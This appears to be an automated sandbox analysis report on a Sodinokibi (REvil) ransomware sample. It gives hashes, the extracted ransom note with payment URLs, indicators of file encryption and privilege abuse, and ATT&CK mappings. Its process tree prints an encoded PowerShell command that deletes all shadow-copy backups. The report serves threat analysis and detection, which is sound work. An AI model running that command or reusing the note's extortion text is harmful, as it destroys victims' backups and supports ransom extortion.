sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
28s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

b75c8afa25a8372b37fbda25f99274fb
SHA1

e40a172b0f9559b7c86005ee077f84695581db69
SHA256

23b7ef18b61fe3ca542372a862d19fac734c24b5cecfe9682b211129fa88f998
SHA512

9cc8c701ed9fb8505a1e9ca14f23a4bb4077182d449bc8d1bb560a477d55512f83cad8f503cf766d5d9644f53cca18ca50c449a6acab92f92ee776a2f12b3773
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QbFLf2KKWeu:NJ0BXScFyfC3Hd4yghMWe

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\rv1r3iyjg-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension rv1r3iyjg. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/55771125E6F4AEFA 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/55771125E6F4AEFA Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: +ZI3t8luDWX9rNtNke2HyRpxlqMLtduyuOuscMS2Vk3fn2Rx0idYKDO3b73pWAT2 Q+2627OvFihCbxJdRmAzKz5+DTEMosvm9Gu6PtsXiuG1ZIooM5M4F/NnUcv2mMP1 olJg+Tq757sOLKaLlh3AfkcYW6FAy0jRllq4UEUMnSKrz+z5dNHJwtL24rDUQnIz RNPH/l37IGqC+3EZ87P4SKltWMwoP5/awT84La3rUtgNjmpuKXdJEQeJSeAOe1Br mGW4rkznCR1bTSuyQJratkOaV6B98Kofo1KbAmziAvSFL5PvP6NQVedJATctTeLd ydYFo6bKncdFfMwxYh+u15f33q8LQQANZth3zXFp2TfZPdRR2PUCyQ9K1LhPw+Zy kYcRmWjfPW6FsgFcFuokWk1RdPOpYTZyPXk2QkrcNMAVB4fLKAZoU2uBj8tgEH4G 36laHMtdW4hbxXmXxpAtUFptJO5ClVqZ9xdfnekWNbqApOVobBAOuTZ8YtduXTLo LWUdFDsFMhCaen3O5r+rT0VJM+bJkpYidc5FfMVW0QYYCLSA3n+35Cl7qIW1XkP6 nO8sKtWGtOSj01YxOjTUYAYJn6srzwL0aC/0sge8dl5zn0CnuQ07E/3FjyNKK6g5 gv2ZxCfLPsuJzJmhKZcBeAhfR3lEoEWigpcjWGBpn7wegqQ0hnFZhHpOq/GIdLBS 9AdPRl01R2hwWhb/I1cu4FOmulRnMzdp83AAwFbMmmnP3XD+rPgz0KmNHxm6fS/s kJDNP7jlSeCtUw3gimosTWn7la5IPPOyuVM2rgZAqgwqCibVNoq3Pe86jB7GOOB/ FAzATRwg00TMR3C3tML3iOKFG0gNBxUj3gJuJAto8lc3Z80KO0IMwG59jPqZXdAE lJdWjh3siLagO1ZzoSaRpueQXyc7h7lR8+f9rbDZ2IJCamjq1ggej9k+z0oKn+hC 3E36BaXGdviySLqbvKy7m7Uxw5vR2iRBX6VonRqJqnKbFDAViK9gVlrRWiFQOfHx JmH0K7jDIgePP3YGg9U2iEY8+1/J/ZUFh6PVKLrcZ6zFnrgg93msl72MtQ4PbEQl rK1oA1KZ8gHaj8YqVzjS6n9/tpPi0F5JROOOl3S3kjDBsaXmR8QGqaOnndhqZwm0 qeh3JSayiLuumZz7tAwcxhQPlezTApgPcNYA0KOUUAn7czmQyRfWsM9HwOYYCQpq I5ndTYRxfUNuvo0YI3Fgkkn1tm/9DDpUySafn//KNXra3DY3Yyg9G7tuLnGR4em4 n4pP7wvOvzcgmtXlNr3lBrTFj9DHkyLhXRSd9zKTPju1lH3KeOmgSLgw1IViv/mR wzkfNqq9kUq3gHs1XJoBPlT+ZlaWkp1jFqgvOPdTf/UcuOKP8dN0ZLw1RM4= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/55771125E6F4AEFA

http://decryptor.cc/55771125E6F4AEFA

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe

Drops file in Program Files directory 11 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\ReadConfirm.emz	rundll32.exe
File opened for modification	\??\c:\program files\UnlockConvertTo.vsdx	rundll32.exe
File created	\??\c:\program files\rv1r3iyjg-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmStart.vdx	rundll32.exe
File opened for modification	\??\c:\program files\EditDebug.xml	rundll32.exe
File opened for modification	\??\c:\program files\PingSubmit.m1v	rundll32.exe
File opened for modification	\??\c:\program files\SearchReset.cr2	rundll32.exe
File created	\??\c:\program files (x86)\rv1r3iyjg-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\MergeMove.rtf	rundll32.exe
File opened for modification	\??\c:\program files\NewCopy.wmv	rundll32.exe
File opened for modification	\??\c:\program files\OpenRepair.rtf	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
1724	rundll32.exe
1724	rundll32.exe
2272	powershell.exe
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	1724	rundll32.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeBackupPrivilege	2204	vssvc.exe
Token: SeRestorePrivilege	2204	vssvc.exe
Token: SeAuditPrivilege	2204	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3128 wrote to memory of 1724	3128	rundll32.exe	81
PID 3128 wrote to memory of 1724	3128	rundll32.exe	81
PID 3128 wrote to memory of 1724	3128	rundll32.exe	81
PID 1724 wrote to memory of 2272	1724	rundll32.exe	83
PID 1724 wrote to memory of 2272	1724	rundll32.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4028

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Recovery\rv1r3iyjg-readme.txt

Filesize
6KB

MD5
4bf94e5bde7fa6b2394c00c967c98467

SHA1
c9aa221662f44821956da64f4f503b2ab5dc7cb9

SHA256
83895d508843d958c790b7163333e08934c10ec0c47858e4c51f52fb09f9d4f0

SHA512
01dcfdc5e4585a3036757d2cd63b74e3086b334e77b6819a4aa48fc1f25e9c5cec214378e803401235914d8e3d4953ed1d85102b1f754769b6bdc486e3776280

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j25db5yl.xvq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2272-8-0x000001B60D240000-0x000001B60D262000-memory.dmp

Filesize
136KB

Download
memory/2272-9-0x00007FFF4FCC0000-0x00007FFF50782000-memory.dmp

Filesize
10.8MB

Download
memory/2272-11-0x000001B60D230000-0x000001B60D240000-memory.dmp

Filesize
64KB

Download
memory/2272-10-0x000001B60D230000-0x000001B60D240000-memory.dmp

Filesize
64KB

Download
memory/2272-14-0x00007FFF4FCC0000-0x00007FFF50782000-memory.dmp

Filesize
10.8MB

Download